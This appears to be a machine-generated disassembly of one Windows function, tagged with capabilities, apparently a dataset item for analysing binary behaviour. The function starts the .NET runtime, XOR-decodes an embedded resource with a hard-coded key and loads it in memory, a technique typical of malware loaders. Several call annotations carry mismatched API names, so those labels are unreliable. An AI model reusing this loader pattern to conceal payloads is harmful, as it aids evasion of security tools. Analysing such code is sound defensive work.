Function at 0x14000f940
Capabilities:
Extract resource via kernel32 functions
Load windows common language runtime

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xe0
mov qword [rbp - 1], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov rax, qword [0x140093080]
xor rax, rsp
mov qword [rbp + 0x27], rax
xor r13d, r13d
mov rcx, qword [0x140098208]
test rcx, rcx
jne 0x14000fa69
mov qword [rbp - 0x71], r13
lea r8, [rbp - 0x71]
lea rdx, [0x140081948]
lea rcx, [0x140081958]
call qword [sym.imp.mscoree.dll_CLRCreateInstance]
lea rdi, [0x140098208]
test eax, eax
js 0x14000fa1f
mov qword [rbp - 0x69], r13
mov rcx, qword [rbp - 0x71]
mov rax, qword [rcx]
lea r9, [rbp - 0x69]
lea r8, [0x140081968]
lea rdx, str.v4.0.30319
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetElement]
mov ebx, eax
test eax, eax
js 0x14000fa11
mov rcx, qword [rbp - 0x69]
mov rax, qword [rcx]
mov r9, rdi
lea r8, [0x140081220]
lea rdx, [0x140081260]
call qword [rax + 0x48]
mov ebx, eax
test eax, eax
js 0x14000fa07
mov rcx, qword [0x140098208]
mov rax, qword [rcx]
call qword [rax + 0x50]
mov rcx, qword [rbp - 0x69]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov rcx, qword [rbp - 0x71]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
test ebx, ebx
jns 0x14000fa62
mov rcx, qword [0x140098208]
test rcx, rcx
jne 0x14000fa69
mov qword [rsp + 0x20], rdi
lea r9, [0x140081220]
lea r8, [0x140081260]
xor edx, edx
lea rcx, str.v2.0.50727
call qword [sym.imp.mscoree.dll_CorBindToRuntime]
test eax, eax
js 0x14000fbb2
mov rcx, qword [0x140098208]
mov rax, qword [rcx]
call qword [rax + 0x50]
mov rcx, qword [0x140098208]
xor r12b, r12b
mov qword [rbp - 0x61], r13
mov rax, qword [rcx]
lea rdx, [rbp - 0x61]
call qword [rax + 0x68]
test eax, eax
js 0x14000fd9e
mov qword [rbp - 0x69], r13
mov rcx, qword [rbp - 0x61]
test rcx, rcx
je 0x14000fde4
mov qword [rbp - 0x69], r13
mov rax, qword [rcx]
lea r8, [rbp - 0x69]
lea rdx, [0x140081938]
call qword [rax]
test eax, eax
js 0x14000fd8e
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x59], xmm0
mov rsi, r13
mov qword [rbp - 0x49], r13
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbx, rax
lea r8, [0x1400812a0]
mov edx, 0x65
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdi, rax
test rax, rax
je 0x14000fbf4
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov r15, rax
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r14d, eax
test r15, r15
je 0x14000fbf4
test eax, eax
je 0x14000fbf4
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r15, rax
test rax, rax
je 0x14000fbf4
mov dword [rbp + 7], 0x1e34fc64
mov dword [rbp + 0xb], 0x3b1402c2
mov dword [rbp + 0xf], 0x7cc56f1e
mov dword [rbp + 0x13], 0xa91eaac5
mov dword [rbp + 0x17], 0x4f5b7783
mov dword [rbp + 0x1b], 0x7e2228f0
mov dword [rbp + 0x1f], 0xdef9fc1e
mov dword [rbp + 0x23], 0xc51d320b
mov rbx, r13
mov qword [rbp - 0x51], rbx
test r14, r14
je 0x14000fb86
mov edx, r14d
lea rcx, [rbp - 0x59]
call fcn.14000f4d0
mov rsi, qword [rbp - 0x49]
mov rbx, qword [rbp - 0x51]
mov rdi, r13
test r14, r14
je 0x14000fbf8
nop
mov rax, rdi
and eax, 0x1f
movzx ecx, byte [rbp + rax + 7]
xor cl, byte [rdi + r15]
mov byte [rbp - 0x79], cl
cmp rsi, rbx
je 0x14000fbd2
mov byte [rbx], cl
inc rbx
mov qword [rbp - 0x51], rbx
jmp 0x14000fbea
xor r9d, r9d
lea r8, [0x1400812d8]
lea rdx, [0x1400812f0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
xor al, al
jmp 0x14000fdb1
lea r8, [rbp - 0x79]
mov rdx, rbx
lea rcx, [rbp - 0x59]
call fcn.14000f5c0
mov rsi, qword [rbp - 0x49]
mov rbx, qword [rbp - 0x51]
inc rdi
cmp rdi, r14
jb 0x14000fb90
jmp 0x14000fbf8
mov rbx, qword [rbp - 0x51]
mov rdi, qword [rbp - 0x59]
sub rbx, rdi
je 0x14000fd59
mov dword [rbp - 0x41], ebx
mov dword [rbp - 0x3d], r13d
mov ecx, 0x11
lea r8, [rbp - 0x41]
mov r15d, 1
mov edx, r15d
call qword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
mov r14, rax
mov qword [rbp - 0x39], r13
lea rdx, [rbp - 0x39]
mov rcx, rax
call qword [sym.imp.OLEAUT32.dll_SafeArrayUnaccessData]
test eax, eax
js 0x14000fd59
mov r8, rbx
mov rdx, rdi
mov rcx, qword [rbp - 0x39]
call fcn.140044440
mov rcx, r14
call qword [sym.imp.OLEAUT32.dll_SafeArrayGetElement]
test eax, eax
js 0x14000fd4f
mov rbx, qword [rbp - 0x69]
test rbx, rbx
je 0x14000fdef
mov rcx, qword [0x140098738]
test rcx, rcx
je 0x14000fc7f
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov qword [0x140098738], r13
mov rax, qword [rbx]
lea r8, [0x140098738]
mov rdx, r14
mov rcx, rbx
call qword [rax + 0x168]
test eax, eax
js 0x14000fd4f
mov qword [rbp - 0x71], r13
mov rcx, qword [0x140098738]
test rcx, rcx
je 0x14000fdfa
mov qword [rbp - 0x71], r13
mov rax, qword [rcx]
lea rdx, [rbp - 0x71]
call qword [rax + 0x80]
test eax, eax
js 0x14000fd40
xor eax, eax
mov qword [rbp - 0x19], rax
mov qword [rbp - 0x11], rax
mov qword [rbp - 9], rax
mov qword [rbp - 0x31], rax
mov qword [rbp - 0x29], rax
mov qword [rbp - 0x21], rax
mov word [rbp - 0x31], r15w
lea ecx, [rax + 0xc]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.OLEAUT32.dll_SafeArrayCopyData]
mov rbx, rax
movups xmm0, xmmword [rbp - 0x31]
movaps xmmword [rbp + 7], xmm0
movsd xmm1, qword [rbp - 0x21]
movsd qword [rbp + 0x17], xmm1
mov rcx, qword [rbp - 0x71]
test rcx, rcx
je 0x14000fe05
mov rax, qword [rcx]
lea r9, [rbp - 0x19]
mov r8, rbx
lea rdx, [rbp + 7]
call qword [rax + 0x128]
test eax, eax
setns r12b
mov rcx, rbx
call qword [sym.imp.OLEAUT32.dll_SafeArrayGetDim]
nop
mov rcx, qword [rbp - 0x71]
test rcx, rcx
je 0x14000fd4f
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov rcx, r14
call qword [sym.imp.OLEAUT32.dll_SafeArrayGetDim]
nop
test rdi, rdi
je 0x14000fd8e
sub rsi, rdi
mov rax, rdi
cmp rsi, 0x1000
jb 0x14000fd82
add rsi, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000fdde
mov rdx, rsi
mov rcx, rdi
call fcn.140026024
nop
mov rcx, qword [rbp - 0x69]
test rcx, rcx
je 0x14000fd9e
mov rdx, qword [rcx]
call qword [rdx + reloc.OLEAUT32.dll_SafeArrayGetDim]
nop
mov rcx, qword [rbp - 0x61]
test rcx, rcx
je 0x14000fdad
mov rdx, qword [rcx]
call qword [rdx + reloc.OLEAUT32.dll_SafeArrayGetDim]
movzx eax, r12b
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.140026000
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14004a830
nop
mov ecx, 0x80004003
call fcn.1400270a0
nop
mov ecx, 0x80004003
call fcn.1400270a0
nop
mov ecx, 0x80004003
call fcn.1400270a0
int3
mov ecx, 0x80004003
call fcn.1400270a0
int3